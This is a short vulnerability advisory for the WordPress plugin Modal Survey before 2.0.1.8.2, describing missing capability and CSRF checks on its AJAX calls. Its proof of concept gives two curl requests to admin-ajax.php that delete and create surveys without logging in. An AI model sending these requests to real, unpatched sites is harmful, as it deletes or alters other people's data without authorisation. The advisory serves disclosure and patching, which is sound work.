Modal Survey < 2.0.1.8.2 - Unauthenticated Arbitrary Survey Update, Deletion and Creation
Description
The plugin AJAX calls (including unauthenticated ones) did not have capabilities and CSRF checks, allowing unauthenticated users to update, delete or create arbitrary surveys.
Proof of Concept
curl --url https://exmple.com/wp-admin/admin-ajax.php --data "action=ajax_survey&sspcmd=delete&survey_id=110251535" curl --url https://example.com/wp-admin/admin-ajax.php --data 'action=ajax_survey&sspcmd=add&survey_id=1337&survey_name=test'
Affects Plugins
Fixed in version 2.0.1.8.2✓
Classification
Miscellaneous
Original Researcher
Pagely
Submitter
John Castro
Submitter website
Submitter twitter
Verified
No
Timeline
Publicly Published
2021-01-08 (about 3 months ago)
Added
2021-01-08 (about 3 months ago)
Last Updated
2021-01-10 (about 3 months ago)